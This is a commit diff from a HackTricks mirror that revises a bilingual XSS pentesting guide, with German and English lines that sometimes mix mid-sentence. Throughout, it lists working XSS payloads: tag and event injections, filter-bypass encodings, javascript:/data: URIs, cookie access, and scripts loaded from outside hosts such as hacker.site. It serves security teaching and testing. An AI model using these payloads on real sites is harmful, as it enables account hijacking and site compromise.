maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr

Browse Source
This commit is contained in:
Translator 2025-09-29 15:01:11 +00:00
parent 2553ea954a
commit bbaa4debf4
3 changed files with 350 additions and 202 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)

418
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -2,82 +2,82 @@
{{#include ../../banners/hacktricks-training.md}}
## Methodik
## Methodology
1. Prüfe, ob **ein von dir kontrollierter Wert** (_parameters_, _path_, _headers_?, _cookies_?) im HTML **reflektiert** wird oder vom **JS**-Code **verwendet** wird.
2. Finde den **Kontext**, in dem es reflektiert/verwendet wird.
3. Wenn **reflektiert**
1. Prüfe **welche Zeichen du verwenden kannst** und bereite abhängig davon das Payload vor:
1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code.
2. **Find the context** where it's reflected/used.
3. If **reflected**
1. Check **which symbols can you use** and depending on that, prepare the payload:
1. In **raw HTML**:
1. Kannst du neue HTML-Tags erstellen?
2. Kannst du Events oder Attribute verwenden, die das `javascript:`-Protokoll unterstützen?
3. Kannst du Schutzmaßnahmen umgehen?
4. Wird der HTML-Inhalt von einer clientseitigen JS-Engine (_AngularJS_, _VueJS_, _Mavo_...) interpretiert? Dann könntest du eine [**Client Side Template Injection**](../client-side-template-injection-csti.md) ausnutzen.
5. Wenn du keine HTML-Tags erstellen kannst, die JS ausführen, könntest du eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) ausnutzen?
2. Innerhalb eines **HTML-Tags**:
1. Kannst du in den raw HTML-Kontext wechseln?
2. Kannst du neue Events/Attribute erstellen, um JS-Code auszuführen?
3. Unterstützt das Attribut, in dem dein Input steckt, die Ausführung von JS?
4. Kannst du Schutzmaßnahmen umgehen?
3. Innerhalb von **JavaScript-Code**:
1. Kannst du aus dem `<script>`-Tag ausbrechen?
2. Kannst du die String-Begrenzung verlassen und anderen JS-Code ausführen?
3. Befinden sich deine Eingaben in template literals ``?
4. Kannst du Schutzmaßnahmen umgehen?
4. Javascript **Funktion**, die **ausgeführt** wird
1. Du kannst den Namen der Funktion angeben, die ausgeführt werden soll. z.B.: `?callback=alert(1)`
4. Wenn **verwendet**:
1. Du könntest ein **DOM XSS** ausnutzen; achte darauf, wie deine Eingabe kontrolliert wird und ob deine **kontrollierte Eingabe von einem sink verwendet wird.**
1. Can you create new HTML tags?
2. Can you use events or attributes supporting `javascript:` protocol?
3. Can you bypass protections?
4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. Inside a **HTML tag**:
1. Can you exit to raw HTML context?
2. Can you create new events/attributes to execute JS code?
3. Does the attribute where you are trapped support JS execution?
4. Can you bypass protections?
3. Inside **JavaScript code**:
1. Can you escape the `<script>` tag?
2. Can you escape the string and execute different JS code?
3. Are your input in template literals \`\`?
4. Can you bypass protections?
4. Javascript **function** being **executed**
1. You can indicate the name of the function to execute. e.g.: `?callback=alert(1)`
4. If **used**:
1. You could exploit a **DOM XSS**, pay attention how your input is controlled and if your **controlled input is used by any sink.**
Wenn du an einem komplexen XSS arbeitest, könnte es interessant sein, Folgendes zu kennen:
When working on a complex XSS you might find interesting to know about:
{{#ref}}
debugging-client-side-js.md
{{#endref}}
## Reflektierte Werte
## Reflected values
Um ein XSS erfolgreich auszunutzen, musst du zuerst einen **von dir kontrollierten Wert finden, der auf der Webseite reflektiert wird**.
In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page.
- **Intermediately reflected**: Wenn du feststellst, dass der Wert eines parameters oder sogar der path auf der Webseite reflektiert wird, könntest du ein **Reflected XSS** ausnutzen.
- **Stored and reflected**: Wenn du feststellst, dass ein von dir kontrollierter Wert auf dem Server gespeichert wird und bei jedem Aufruf einer Seite reflektiert wird, könntest du ein **Stored XSS** ausnutzen.
- **Accessed via JS**: Wenn du feststellst, dass ein von dir kontrollierter Wert per JS abgerufen wird, könntest du ein **DOM XSS** ausnutzen.
- **Intermediately reflected**: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a **Reflected XSS**.
- **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**.
- **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**.
## Kontexte
## Contexts
Beim Versuch, ein XSS auszunutzen, musst du zuerst wissen, **wo dein Input reflektiert wird**. Je nach Kontext wirst du verschiedene Wege haben, beliebigen JS-Code auszuführen.
When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways.
### Raw HTML
Wenn dein Input im **raw HTML** der Seite reflektiert wird, musst du ein **HTML-Tag** missbrauchen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... das sind nur einige der vielen möglichen HTML-Tags, die du verwenden kannst.\
Außerdem, denke an [Client Side Template Injection](../client-side-template-injection-csti.md).
If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: `<img , <iframe , <svg , <script` ... these are just some of the many possible HTML tags you could use.\
Also, keep in mind [Client Side Template Injection](../client-side-template-injection-csti.md).
### Innerhalb von HTML-Tag-Attributen
### Inside HTML tags attribute
Wenn dein Input innerhalb des Werts eines Tag-Attributs reflektiert wird, könntest du versuchen:
If your input is reflected inside the value of the attribute of a tag you could try:
1. Aus dem Attribut und dem Tag **auszubrechen** (dann bist du im raw HTML) und ein neues HTML-Tag zu erstellen, das du missbrauchst: `"><img [...]`
2. Wenn du **aus dem Attribut, aber nicht aus dem Tag entkommen kannst** (`>` ist kodiert oder gelöscht), kannst du abhängig vom Tag ein **Event erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
3. Wenn du **nicht aus dem Attribut entkommen kannst** (`"` wird kodiert oder gelöscht), dann kannst du je nach **welchem Attribut** dein Wert reflektiert wird und **ob du den gesamten Wert oder nur einen Teil kontrollierst**, es ausnutzen. Zum **Beispiel**, wenn du ein Event wie `onclick=` kontrollierst, kannst du beliebigen Code ausführen lassen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo du das `javascript:`-Protokoll verwenden kannst, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
4. Wenn dein Input innerhalb von "**unexpoitable tags**" reflektiert wird, kannst du den **`accesskey`**-Trick versuchen, um die Verwundbarkeit auszunutzen (du wirst eine Form von Social Engineering benötigen): **`" accesskey="x" onclick="alert(1)" x="`**
1. To **escape from the attribute and from the tag** (then you will be in the raw HTML) and create new HTML tag to abuse: `"><img [...]`
2. If you **can escape from the attribute but not from the tag** (`>` is encoded or deleted), depending on the tag you could **create an event** that executes JS code: `" autofocus onfocus=alert(1) x="`
3. If you **cannot escape from the attribute** (`"` is being encoded or deleted), then depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked. Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
4. If your input is reflected inside "**unexpoitable tags**" you could try the **`accesskey`** trick to abuse the vuln (you will need some kind of social engineer to exploit this): **`" accesskey="x" onclick="alert(1)" x="`**
Seltsames Beispiel, wie Angular XSS ausführt, wenn du einen Klassennamen kontrollierst:
Weird example of Angular executing XSS if you controls a class name:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
### Im JavaScript-Code
### Innerhalb von JavaScript code
In diesem Fall wird deine Eingabe zwischen **`<script> [...] </script>`** Tags einer HTML-Seite, in einer `.js`-Datei oder in einem Attribut mit dem **`javascript:`**-Protokoll reflektiert:
In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`** Tags einer HTML-Seite, innerhalb einer `.js` Datei oder innerhalb eines Attributs, das das **`javascript:`**-Protokoll verwendet, reflektiert:
- Wenn die Reflektion zwischen **`<script> [...] </script>`** Tags erfolgt, selbst wenn deine Eingabe in irgendeiner Art von Quotes steht, kannst du versuchen `</script>` zu injizieren und aus diesem Kontext zu entkommen. Das funktioniert, weil der **Browser zuerst die HTML-Tags parst** und dann den Inhalt; deshalb wird er nicht bemerken, dass dein injiziertes `</script>` Tag Teil des HTML-Codes ist.
- Wenn die Reflektion **inside a JS string** erfolgt und der letzte Trick nicht funktioniert, musst du den String **exit**en, deinen Code **execute**n und den JS-Code **reconstruct**en (wenn ein Fehler auftritt, wird er nicht ausgeführt):
- Wenn die Eingabe zwischen **`<script> [...] </script>`** Tags reflektiert wird, selbst wenn Ihre Eingabe innerhalb irgendeiner Art von Anführungszeichen steht, können Sie versuchen `</script>` zu injizieren und aus diesem Kontext zu entkommen. Das funktioniert, weil der **Browser zuerst die HTML-Tags parst** und dann den Inhalt; daher wird er nicht bemerken, dass Ihr injiziertes `</script>` Tag innerhalb des HTML code ist.
- Wenn es innerhalb eines JS-Strings reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Wenn die Reflektion in template literals erfolgt, kannst du **embed JS expressions** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
- Wenn es innerhalb von template literals reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** funktioniert, um **valid javascript code** zu schreiben:
```javascript
alert(1)
@ -86,8 +86,8 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren**, sodass man Szenarien ausnutzen kann, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet.\
**Weitere Infos auf folgender Seite:**
Javascript Hoisting references the opportunity to **Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren, sodass du Szenarien ausnutzen kannst, in denen ein XSS undeclared variables or functions verwendet.**\
**Weitere Informationen auf der folgenden Seite:**
{{#ref}}
@ -96,15 +96,15 @@ js-hoisting.md
### Javascript Function
Viele Webseiten haben Endpoints, die **als Parameter den Namen der auszuführenden Funktion akzeptieren**. Ein häufiges Beispiel in freier Wildbahn ist so etwas wie: `?callback=callbackFunc`.
Mehrere Webseiten haben Endpunkte, die **als Parameter den Namen der auszuführenden Funktion akzeptieren**. Ein häufiges Beispiel in der Praxis ist etwas wie: `?callback=callbackFunc`.
Eine gute Methode herauszufinden, ob etwas, das direkt vom Benutzer kommt, ausgeführt werden soll, ist **den Parameterwert zu ändern** (zum Beispiel in 'Vulnerable') und in der Konsole nach Fehlern wie folgt zu suchen:
Eine gute Methode, um herauszufinden, ob etwas, das direkt vom Nutzer kommt, versucht ausgeführt zu werden, ist **den Parameterwert zu ändern** (zum Beispiel zu 'Vulnerable') und in der Konsole nach Fehlern wie:
![](<../../images/image (711).png>)
Falls es verwundbar ist, könntest du in der Lage sein, einfach durch Senden des Wertes ein **alert** auszulösen: **`?callback=alert(1)`**. Allerdings ist es sehr üblich, dass diese Endpoints den Inhalt **validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**).
Falls es verwundbar ist, könntest du in der Lage sein, **ein alert auszulösen**, indem du einfach den Wert sendest: **`?callback=alert(1)`**. Allerdings ist es sehr üblich, dass diese Endpunkte den Inhalt **validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**).
Selbst mit dieser Einschränkung ist es jedoch weiterhin möglich, einige Aktionen durchzuführen. Das liegt daran, dass du diese erlaubten Zeichen verwenden kannst, um auf **beliebige Elemente im DOM zuzugreifen**:
Selbst mit dieser Einschränkung ist es jedoch weiterhin möglich, einige Aktionen durchzuführen. Das liegt daran, dass du mit diesen zulässigen Zeichen auf beliebige Elemente im DOM zugreifen kannst:
![](<../../images/image (747).png>)
@ -118,9 +118,9 @@ parentElement
```
Sie können auch versuchen, **Javascript-Funktionen direkt auszulösen**: `obj.sales.delOrders`.
Allerdings sind die Endpoints, die die angegebene Funktion ausführen, meist Endpoints ohne besonders interessanten DOM; **andere Seiten in derselben Origin** werden einen **interessanteren DOM** haben, um mehr Aktionen durchzuführen.
Allerdings sind die Endpoints, die die angegebene Funktion ausführen, normalerweise Endpoints ohne viel interessantes DOM; **andere Seiten in derselben Origin** haben oft ein **interessanteres DOM**, um mehr Aktionen durchzuführen.
Daher wurde, um diese Verwundbarkeit in einem anderen DOM zu **missbrauchen**, die **Same Origin Method Execution (SOME)** Exploitation entwickelt:
Daher wurde, um **diese Schwachstelle in einem anderen DOM auszunutzen**, die **Same Origin Method Execution (SOME)**-Exploitation entwickelt:
{{#ref}}
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
### DOM
Es gibt **JS code**, der **unsicher** einige vom Angreifer kontrollierte Daten wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
Es gibt **JS code**, das **unsicher** einige **vom Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies missbrauchen, um beliebigen JS-Code auszuführen.
{{#ref}}
@ -138,7 +138,7 @@ dom-xss.md
### **Universal XSS**
Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art der **beliebigen JavaScript-Ausführung** kann sogar missbraucht werden, um **RCE** zu erlangen, **beliebige** **Dateien** in Clients und Servern zu **lesen**, und mehr.\
Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Exploitation einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art von **arbitrary JavaScript execution** kann sogar missbraucht werden, um **RCE** zu erlangen, **beliebige Dateien** auf Clients und Servern zu lesen und mehr.
Einige **Beispiele**:
@ -151,17 +151,17 @@ server-side-xss-dynamic-pdf.md
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
{{#endref}}
## WAF-Bypass: encodiertes Bild
## WAF bypass encoding image
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Injektion in rohes HTML
## Injecting inside raw HTML
Wenn deine Eingabe **innerhalb der HTML-Seite** reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das **erste**, was du tun musst, zu prüfen, ob du `<` zum Erstellen neuer Tags missbrauchen kannst: Versuche einfach, dieses **Zeichen** zu **reflektieren** und überprüfe, ob es **HTML encoded** oder **gelöscht** wird, oder ob es **ohne Änderungen reflektiert** wird. **Nur im letzten Fall wirst du diese Schwachstelle ausnutzen können**.\
Für diese Fälle **beachte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Hinweis: Ein HTML-Kommentar kann geschlossen werden mit\*\***\***\*`-->`\*\***\***\* oder \*\***`--!>`\*\*_
Wenn deine Eingabe **innerhalb der HTML-Seite** reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das **erste**, was du tun musst, zu prüfen, ob du `<` zum Erstellen neuer Tags missbrauchen kannst: Versuche einfach, dieses **Zeichen** zu **reflektieren** und prüfe, ob es **HTML-encodiert** wird, **gelöscht** wird oder **unverändert reflektiert** wird. **Nur im letzten Fall kannst du dies ausnutzen.**
Für diese Fälle beachte auch [**Client Side Template Injection**](../client-side-template-injection-csti.md).
_**Hinweis: Ein HTML-Kommentar kann mit `-->` oder `--!>` geschlossen werden**_
In diesem Fall und wenn kein Black-/Whitelisting verwendet wird, kannst du Payloads wie die folgenden verwenden:
In diesem Fall und wenn keine Black-/Whitelist verwendet wird, kannst du Payloads wie:
```html
<script>
alert(1)
@ -169,22 +169,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Aber, wenn Tags/Attribute Black/Whitelisting verwendet werden, musst du **brute-force herausfinden, welche Tags** du erstellen kannst.\
Sobald du **lokalisiert hast, welche Tags erlaubt sind**, musst du **attributes/events brute-force** innerhalb der gefundenen gültigen Tags durchführen, um zu sehen, wie du den Kontext angreifen kannst.
Aber wenn tags/attributes Black-/Whitelisting verwendet wird, musst du **brute-force which tags** herausfinden, die du erstellen kannst.\
Sobald du **located which tags are allowed** hast, musst du **brute-force attributes/events** innerhalb der gefundenen gültigen tags durchführen, um zu sehen, wie du den Kontext angreifen kannst.
### Tags/Events brute-force
Gehe zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicke auf _**Kopiere Tags in die Zwischenablage**_. Sende anschließend alle mit Burp intruder und prüfe, ob eines der Tags vom WAF nicht als bösartig erkannt wurde. Sobald du herausgefunden hast, welche Tags du verwenden kannst, kannst du **alle Events brute-force** mit den gültigen Tags testen (auf derselben Webseite klicke auf _**Kopiere Events in die Zwischenablage**_ und folge demselben Verfahren wie zuvor).
Rufe [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) auf und klicke auf _**Copy tags to clipboard**_. Schicke dann alle mit Burp intruder und prüfe, ob irgendein Tag vom WAF nicht als bösartig erkannt wurde. Sobald du herausgefunden hast, welche tags du verwenden kannst, kannst du **brute force all the events** mit den gültigen tags testen (auf derselben Seite auf _**Copy events to clipboard**_ klicken und die gleiche Vorgehensweise wie zuvor anwenden).
### Benutzerdefinierte Tags
### Custom tags
Wenn du kein gültiges HTML-Tag gefunden hast, kannst du versuchen, ein **benutzerdefiniertes Tag zu erstellen** und JS-Code mit dem `onfocus`-Attribut auszuführen. In der XSS-Anfrage musst du die URL mit `#` beenden, damit die Seite **den Fokus auf dieses Objekt setzt** und den Code **ausführt**:
Wenn du kein gültiges HTML-Tag gefunden hast, kannst du versuchen, ein **create a custom tag** zu erstellen und JS-Code mit dem `onfocus`-Attribut auszuführen. In der XSS request musst du die URL mit `#` beenden, damit die Seite **focus on that object** und der Code **execute**:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
Wenn irgendeine Art von blacklist verwendet wird, könntest du versuchen, sie mit ein paar einfachen Tricks zu bypassen:
Wenn irgendeine Art von blacklist verwendet wird, könntest du versuchen, sie mit einigen einfachen Tricks zu bypassen:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -234,31 +234,31 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Längen-Bypass (kleine XSSs)
### Length bypass (small XSSs)
> [!NOTE] > **Mehr tiny XSS payloads für verschiedene Umgebungen** sind [**hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me) zu finden.
> [!NOTE] > **Mehr tiny XSS payloads für verschiedene Umgebungen** [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
```
Das letzte verwendet 2 Unicode-Zeichen, die sich zu 5 erweitern: telsr\
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
Um zu prüfen, in welche Zeichen sie zerlegt werden, siehe [here](https://www.compart.com/en/unicode/U+2121).
Mehr dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
Um zu prüfen, in welche Zeichen sie zerlegt werden, prüfen Sie [hier](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
Wenn du, um die Schwachstelle auszunutzen, brauchst, dass der **Benutzer auf einen Link oder ein Formular klickt** mit vorausgefüllten Daten, könntest du versuchen, [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (falls die Seite verwundbar ist).
Wenn Sie, um die Vulnerability auszunutzen, benötigen, dass der **user auf einen Link oder ein Formular klickt** mit vorausgefüllten Daten, könnten Sie versuchen, [**Clickjacking auszunutzen**](../clickjacking.md#xss-clickjacking) (falls die Seite verwundbar ist).
### Impossible - Dangling Markup
### Unmöglich - Dangling Markup
Wenn du denkst, dass **es unmöglich ist, ein HTML tag mit einem Attribut zu erzeugen, das JS-Code ausführt**, solltest du [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) prüfen, denn du könntest die Schwachstelle **ausnutzen** **ohne** **JS**-Code auszuführen.
Wenn Sie denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, das JS-Code ausführt**, sollten Sie [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)because Sie die Vulnerability **ohne** Ausführung von **JS** Code **exploiten** könnten.
## Injecting inside HTML tag
## In ein HTML-Tag injizieren
### Inside the tag/escaping from attribute value
### Innerhalb des Tags / Aus dem Attributwert entkommen
Wenn du dich **inside a HTML tag** befindest, ist das Erste, was du versuchen könntest, aus dem Tag zu **escape** und einige der in der [previous section](#injecting-inside-raw-html) genannten Techniken zu verwenden, um JS-Code auszuführen.\
Wenn du dich **nicht aus dem Tag escape** kannst, könntest du neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem Payload wie (_beachte, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu escapen; du wirst sie nicht benötigen, wenn deine Eingabe direkt innerhalb des Tags reflektiert wird_):
Wenn Sie **innerhalb eines HTML-Tags** sind, ist das Erste, was Sie versuchen könnten, aus dem Tag zu **escapen** und einige der in dem [vorherigen Abschnitt](#injecting-inside-raw-html) erwähnten Techniken zu verwenden, um JS-Code auszuführen.\
Wenn Sie **nicht aus dem Tag entkommen** können, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem Payload wie (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -273,13 +273,14 @@ Wenn du dich **nicht aus dem Tag escape** kannst, könntest du neue Attribute in
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### Innerhalb des Attributs
### Within the attribute
Auch wenn du **nicht aus dem Attribut ausbrechen kannst** (`"` wird kodiert oder gelöscht), kannst du je nachdem, **in welchem Attribut** dein Wert reflektiert wird und **ob du den gesamten Wert oder nur einen Teil kontrollierst**, das Attribut ausnutzen. Zum **Beispiel**, wenn du ein Event wie `onclick=` kontrollierst, kannst du beliebigen Code ausführen lassen, wenn darauf geklickt wird.\ Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo du das `javascript:`-Protokoll verwenden kannst, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
Auch wenn du **nicht aus dem Attribut entkommen kannst** (`"` wird enkodiert oder gelöscht), hängt es davon ab, **in welchem Attribut** dein Wert reflektiert wird und **ob du den gesamten Wert oder nur einen Teil kontrollierst** — du wirst es missbrauchen können. Zum **Beispiel**, wenn du ein Event wie `onclick=` kontrollierst, kannst du es so ausführen lassen, dass beim Klick beliebiger Code ausgeführt wird.\
Ein weiteres interessantes **Beispiel** ist das Attribut `href`, bei dem du das `javascript:`-Protokoll verwenden kannst, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
Bypass inside event using HTML encoding/URL encode
**Bypass innerhalb von Event-Handlern mittels HTML-Encoding/URL-Encoding**
Die **HTML-codierten Zeichen** innerhalb des Wertes von HTML-Tag-Attributen werden **zur Laufzeit decodiert**. Daher ist so etwas wie das Folgende gültig (die Payload ist fettgedruckt): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Die **HTML-enkodierten Zeichen** innerhalb des Werts von HTML-Tag-Attributen werden **zur Laufzeit decodiert**. Daher ist etwas wie das Folgende gültig (die Payload ist fett dargestellt): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Beachte, dass **jede Art von HTML-Encoding gültig ist**:
```javascript
@ -302,7 +303,7 @@ Beachte, dass **jede Art von HTML-Encoding gültig ist**:
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Bypass innerhalb eines Events mittels Unicode-Encode**
**Bypass innerhalb eines Events mit Unicode encode**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -310,7 +311,7 @@ Beachte, dass **jede Art von HTML-Encoding gültig ist**:
```
### Spezielle Protokolle im Attribut
Dort kannst du die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **beliebigen JS-Code auszuführen**. Manche erfordern Benutzerinteraktion, andere nicht.
Dort kannst du die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **beliebigen JS-Code auszuführen**. Manche erfordern eine Benutzerinteraktion, andere nicht.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -332,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Orte, an denen du diese Protokolle injizieren kannst**
**Im Allgemeinen** kann das `javascript:`-Protokoll **in jedem Tag verwendet werden, das das Attribut `href` akzeptiert** und in **den meisten** Tags, die das **Attribut `src`** akzeptieren (aber nicht `<img>`)
**Im Allgemeinen** kann das `javascript:`-Protokoll **in jedem Tag verwendet werden, das das Attribut `href` akzeptiert**, und in **den meisten** Tags, die das **Attribut `src`** akzeptieren (aber nicht `<img>`).
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -352,21 +353,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
```
**Weitere Obfuskationstricks**
**Andere obfuscation tricks**
_**In diesem Fall sind der HTML encoding- und der Unicode encoding-Trick aus dem vorherigen Abschnitt ebenfalls anwendbar, da du dich innerhalb eines Attributs befindest.**_
_**In diesem Fall sind die HTML encoding- und Unicode encoding-Tricks aus dem vorherigen Abschnitt ebenfalls gültig, da du dich innerhalb eines Attributs befindest.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Außerdem gibt es einen weiteren **netten Trick** für diese Fälle: **Selbst wenn deine Eingabe innerhalb von `javascript:...` URL encoded wird, wird sie vor der Ausführung URL decoded.** Also, wenn du aus dem **String** mit einem **single quote** **escape** musst und siehst, dass **es URL encoded wird**, denk daran, dass **das egal ist,** es wird zur **Ausführungszeit** als **single quote** interpretiert.
Außerdem gibt es einen weiteren **netten Trick** für diese Fälle: **Selbst wenn deine Eingabe innerhalb von `javascript:...` URL encoded wird, wird sie vor der Ausführung URL decoded.** Wenn du also **escape** aus dem **string** mit einem **single quote** durchführen musst und siehst, dass **es URL encoded wird**, denk daran, dass **das keine Rolle spielt,** es wird **interpretiert** als ein **single quote** während der **Ausführung**szeit.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Beachte, dass wenn du versuchst, **beide** `URLencode + HTMLencode` in beliebiger Reihenfolge anzuwenden, um den **payload** zu encodieren, es **wird nicht** **funktionieren**, aber du kannst **sie innerhalb des payloads mischen**.
Beachte, dass wenn du versuchst, **beide** `URLencode + HTMLencode` in beliebiger Reihenfolge zu verwenden, um das **payload** zu encodieren, es **nicht** **funktioniert**, aber du kannst sie **innerhalb des payload** mischen.
**Verwendung von Hex and Octal encode mit `javascript:`**
**Verwendung von Hex und Octal encode mit `javascript:`**
Du kannst **Hex** und **Octal encode** innerhalb des `src`-Attributs von `iframe` (zumindest) verwenden, um **HTML tags to execute JS** zu deklarieren:
```javascript
@ -384,17 +385,16 @@ Du kannst **Hex** und **Octal encode** innerhalb des `src`-Attributs von `iframe
```javascript
<a target="_blank" rel="opener"
```
